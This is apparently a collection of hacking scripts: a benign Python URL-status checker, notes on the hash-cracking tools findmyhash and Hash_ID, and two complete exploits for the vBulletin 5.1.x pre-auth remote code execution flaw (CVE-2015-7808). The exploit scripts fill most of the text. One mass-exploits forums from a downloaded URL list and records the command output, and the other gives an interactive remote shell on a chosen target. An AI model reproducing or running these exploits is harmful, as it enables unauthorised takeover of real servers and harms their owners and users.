[Python]check_url_list.py

#!/usr/bin/env python
"""
Script to check a list of URLs (passed on stdin) for response code, and for response code of the final path in a series of redirects.
Outputs (to stdout) a list of count of a given URL, response code, and if redirected, the final URL and its response code

Optionally, with verbose flag, report on all URL checks on STDERR

Copyright 2013 Jason Antman  all rights reserved
This script is distributed under the terms of the GPLv3, as per the
LICENSE file in this repository.

The canonical version of this script can be found at:

"""

import sys
import urllib2

def get_url_nofollow(url):
    try:
        response = urllib2.urlopen(url)
        code = response.getcode()
        return code
    except urllib2.HTTPError as e:
        return e.code
    except:
        return 0

def main():
    urls = {}

    for line in sys.stdin.readlines():
        line = line.strip()
        if line not in urls:
            sys.stderr.write("+ checking URL: %s\n" % line)
            urls[line] = {'code': get_url_nofollow(line), 'count': 1}
            sys.stderr.write("++ %s\n" % str(urls[line]))
        else:
            urls[line]['count'] = urls[line]['count'] + 1

    for url in urls:
        if urls[url]['code'] != 200:
            print "%d\t%d\t%s" % (urls[url]['count'], urls[url]['code'], url)

if __name__ == "__main__":
    main()

findmyhash.py

http://pastebin.com/isGS70r4
____________________________________

Accepted algorithms are:

MD4 – RFC 1320
MD5 – RFC 1321
SHA1 – RFC 3174 (FIPS 180-3)
SHA224 – RFC 3874 (FIPS 180-3)
SHA256 – FIPS 180-3
SHA384 – FIPS 180-3
SHA512 – FIPS 180-3
RMD160 – RFC 2857
GOST – RFC 583
WHIRLPOOL – ISO/IEC 10118-3:2004
LM – Microsoft Windows hash NTLM – Microsoft Windows hash
MYSQL – MySQL 3, 4, 5 hash
CISCO7 – Cisco IOS type 7 encrypted passwords
JUNIPER – Juniper Networks $9$ encrypted passwords
LDAP_MD5 – MD5 Base64 encoded
LDAP_SHA1 – SHA1 Base64 encoded
Source: https://code.google.com/p/findmyhash/


This application use: sys, hashlib, urllib, urllib2, os, re, random, getopt, base64 and cookielib.

Please, check if you have all of them installed in your system.

Hash_ID.py

This script can identify:
ADLER32
CRC16
CRC16CCITT
CRC32
CRC32B
DESUnix
DomainCachedCredentials
FCS16
GHash323
GHash325
GOSTR341194
Haval128
Haval128HMAC
Haval160
Haval160HMAC
Haval192
Haval192HMAC
Haval224
Haval224HMAC
Haval256
Haval256HMAC
LineageIIC4
MD2
MD2HMAC
MD4
MD4HMAC
MD5
MD5APR
MD5HMAC
MD5HMACWordpress
MD5phpBB3
MD5Unix
MD5Wordpress
MD5Half
MD5Middle
MD5passsaltjoomla1
MD5passsaltjoomla2
MySQL
MySQL5
MySQL160bit
NTLM
RAdminv2x
RipeMD128
RipeMD128HMAC
RipeMD160
RipeMD160HMAC
RipeMD256
RipeMD256HMAC
RipeMD320
RipeMD320HMAC
SAM
SHA1
SHA1Django
SHA1HMAC
SHA1MaNGOS
SHA1MaNGOS2
SHA224
SHA224HMAC
SHA256
SHA256s
SHA256Django
SHA256HMAC
SHA256md5pass
SHA256sha1pass
SHA384
SHA384Django
SHA384HMAC
SHA512
SHA512HMAC
SNEFRU128
SNEFRU128HMAC
SNEFRU256
SNEFRU256HMAC
Tiger128
Tiger128HMAC
Tiger160
Tiger160HMAC
Tiger192
Tiger192HMAC
Whirlpool
WhirlpoolHMAC
XOR32
md5passsalt
md5saltmd5pass
md5saltpass
md5saltpasssalt
md5saltpassusername
md5saltmd5pass
md5saltmd5passsalt
md5saltmd5passsalt
md5saltmd5saltpass
md5saltmd5md5passsalt
md5username0pass
md5usernameLFpass
md5usernamemd5passsalt
md5md5pass
md5md5passsalt
md5md5passmd5salt
md5md5saltpass
md5md5saltmd5pass
md5md5usernamepasssalt
md5md5md5pass
md5md5md5md5pass
md5md5md5md5md5pass
md5sha1pass
md5sha1md5pass
md5sha1md5sha1pass
md5strtouppermd5pass
sha1passsalt
sha1saltpass
sha1saltmd5pass
sha1saltmd5passsalt
sha1saltsha1pass
sha1saltsha1saltsha1pass
sha1usernamepass
sha1usernamepasssalt
sha1md5pass
sha1md5passsalt
sha1md5sha1pass
sha1sha1pass
sha1sha1passsalt
sha1sha1passsubstrpass03
sha1sha1saltpass
sha1sha1sha1pass
sha1strtolowerusernamepass

http://pastebin.com/f2azYCaR

MassExploit_VBB5.1.x.py

# Exploit Title             : [Exploit] vBulletin 5.1.x - PreAuth Remote Code Execution
# Date                      : 11-09-2015
# Requirements              : Python 3.4.x , Requests, Colorama
# Tested on                 : Windows 8.1 / Ubuntu 14.04
# CVE                       : CVE-2015-7808
# Blog Post                 : http://mukarramkhalid.com/exploit-vbulletin-5-1-x-preauth-remote-code-execution/
# Url list                  : http://makman.tk/vb/urls.txt

import  requests, re, sys
import  colorama
from    colorama        import *
from    urllib.parse    import urlparse
from    time            import time as timer
from    functools       import partial
from    multiprocessing import Pool

colorama.init()

def banner():
    print( '\n' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '                  [Mass Exploit] VBulletin 5.1.x                    ' )
    print( '    MakMan -- http://mukarramkhalid.com -- http://fb.com/makmaniac  ' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '\n' )

def inject( u ):
    # Formatting URL
    if      '/forum/' in u:
        url     = u.split( '/forum' )[0] + '/forum/ajax/api/hook/decodeArguments'
        turl    = url[:-36]
    elif    '/Forum/' in u:
        url     = u.split( '/Forum' )[0] + '/Forum/ajax/api/hook/decodeArguments'
        turl    = url[:-36]
    else:
        o       = urlparse( u )
        url     = o.scheme + '://' + o.netloc + '/ajax/api/hook/decodeArguments'
        turl    = url[:-30]
    try:
        r       = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"*recordset";s:11:"echo makman";}', timeout= 15 )
        if 'makman' in r.text and len( r.text ) < 50:
            r   = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"*recordset";s:36:"whoami;echo :::;id;echo :::;uname -a";}', timeout= 15 )
            if len( r.text ) < 200:
                print( Fore.RED + ' [+] URL : ' + Fore.GREEN + ' ' + turl )
                print( '    ' + Fore.YELLOW + ' [+] WHOAMI  : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[0].strip() )
                print( '    ' + Fore.YELLOW + ' [+] ID      : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[1].strip() )
                print( '    ' + Fore.YELLOW + ' [+] UNAME   : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[2].strip() + '\n' )
                sys.stdout.flush()
                return url + ':::' + r.text
            else:
                return url + ':::' + 'Not Vulnerable'
        else:
            return url + ':::' + 'Not Vulnerable'
    except:
        return url + ':::' + 'Bad Response'

def main():
    print (Style.BRIGHT)
    banner()
    count        = 0
    start        = timer()
    file_string  = ''
    final_result = []
    # Make sure urls.txt is in the same directory
    try:
        with open( 'urls.txt' ) as f:
            search_result = f.read().splitlines()
    except:
        print( 'urls.txt not found in the current directory. Create your own or download from here. http://makman.tk/vb/urls.txt\n' )
        sys.exit(0)
    search_result = list( set( search_result ) )
    print (' [+] Executing Exploit for ' + Fore.RED + str( len( search_result ) ) + Fore.WHITE + ' Urls.\n')
    with Pool(8) as p:
        final_result.extend( p.map( inject, search_result ) )
    for i in final_result:
        if not 'Not Vulnerable' in i and not 'Bad Response' in i:
            count += 1
            file_string = file_string + i.split( ':::' )[0].strip() + '\n' + i.split( ':::' )[1].strip() + '\n' + i.split( ':::' )[2].strip() + '\n' + i.split( ':::' )[3].strip()
            file_string = file_string + '\n------------------------------------------\n'
    # Writing Result in a file makman.txt
    with open( 'makman.txt', 'a', encoding = 'utf-8' ) as rfile:
        rfile.write( file_string )
    print( 'Total URLs Scanned    : ' + str( len( search_result ) ) )
    print( 'Vulnerable URLs Found : ' + str( count ) )
    print( 'Script Execution Time : ' + str ( timer() - start ) + ' seconds' )

if __name__ == '__main__':
    main()

#End

Exploit_VBB5.1.x.py

#Exploit Title: vBulletin 5.1.x - PreAuth Remote Code Execution
#Date: 11-10-2015
#Dork:Powered by: vBulletin, Version 5.1 or make your own ^^
#Requirements: Python 3.4.x or higher, install Requests and parse Module.
#Description: Not the authors of this exploit we just fixed the exploit and coded this script (Mauritania Attacker & Th3Falcon)

import  requests, re, sys
import  parse as   urlparse  #BUG Python Module Parse Fixed By Mauritania Attacker (urllib.parse does not work properly)

def banner():
    print( '\n' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '               VBulletin 5.1.x RCE auto Exploiter Priv8             ' )
    print( '                 GreetZ To All AnonGhost Members                    ' )
    print( '                 Coded by Mauritania Attacker & Th3Falcon           ' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '\n' )

def inject( ghost ):
    url = ghost + '/ajax/api/hook/decodeArguments?' #Added "?" after each decodeArguments variable By Mauritania Attacker
    try:
        r = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"*recordset";s:14:"echo Th3Falcon";}', timeout= 50 )
        if 'Th3Falcon' in r.text and len( r.text ) < 50:
            try:
                r   = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"*recordset";s:49:"whoami;echo :::;id;echo :::;uname -a;echo :::;pwd";}', timeout= 50 )
                print( '     [+] GROUP   :  ' + r.text.split( ':::' )[0].strip() )
                print( '     [+] USER    :  ' + r.text.split( ':::' )[1].strip() )
                print( '     [+] KERNEL  :  ' + r.text.split( ':::' )[2].strip() )
                print( '     [+] DIR     :  ' + r.text.split( ':::' )[3].strip() )
                sys.stdout.flush()
                return r.text.split( ':::' )[3].strip();
            except:
                return ''
        else:
            return ''
    except:
        print('     [+] Problem while exploiting..')
        return ''

def bash(ghost, command):
    url = ghost + '/ajax/api/hook/decodeArguments?' #Added "?" after each decodeArguments variable By Mauritania Attacker
    r = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"*recordset";s:' + str(len(command)) + ':"' + command + '";}', timeout= 50 )
    print(r.text)

def main():
    banner()
    site = ''
    while site != 'exit':
        site = input('Target : ')
        if site == 'exit':
            break
        mad = inject(site)
        if mad != '' :
           
            print('     [+] @Connection Successfully established... \n')
            userinput = ''
            while userinput != 'exit':
                userinput = input("AnonGhost@Target :")
                if userinput == 'exit':
                    break
                bash(site, userinput)
        else:
            print('     [+] Website is not Vulnerable :(')

if __name__ == '__main__':
    main()

#D0ne
#./Mauritania Attacker
#./Th3Falcon
#GreetZ To All AnonGhost MemberZ